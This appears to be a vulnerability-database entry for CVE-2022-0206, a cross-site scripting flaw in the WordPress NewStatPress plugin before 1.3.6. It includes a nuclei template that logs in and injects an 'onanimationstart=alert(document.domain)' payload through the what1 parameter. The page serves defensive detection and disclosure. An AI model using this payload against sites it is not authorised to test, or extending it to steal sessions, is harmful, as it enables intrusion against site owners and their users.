HexBrain

Browse / CVEs / CVE-2022-0206

CVE-2022-0206· newstatpress project / newstatpress· CWE-79

WordPress NewStatPress <1.3.6 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.4%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it

WordPress NewStatPress plugin before 1.3.6 is susceptible to cross-site scripting. The plugin does not properly escape the whatX parameters before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Fixed in version 1.3.6.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=nsp_search&what1=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "onanimationstart=alert(document.domain)") and contains(body_2, "newstatpress_page")

Run it with nuclei: nuclei -id CVE-2022-0206 -u <target>

The full check
id: CVE-2022-0206

info:
  name: WordPress NewStatPress <1.3.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress NewStatPress plugin before 1.3.6 is susceptible to cross-site scripting. The plugin does not properly escape the whatX parameters before outputting them back in attributes. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 1.3.6.
  reference:
    - https://wpscan.com/vulnerability/ce12437a-d440-4c4a-9247-95a8f39d00b9
    - https://wordpress.org/plugins/newstatpress
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0206
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0206
    cwe-id: CWE-79
    epss-score: 0.01446
    epss-percentile: 0.73513
    cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: newstatpress_project
    product: newstatpress
    framework: wordpress
  tags: cve,cve2022,xss,wp,authenticated,wordpress,wp-plugin,newstatpress,wpscan,newstatpress_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=nsp_search&what1=%27+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "onanimationstart=alert(document.domain)")'
          - 'contains(body_2, "newstatpress_page")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from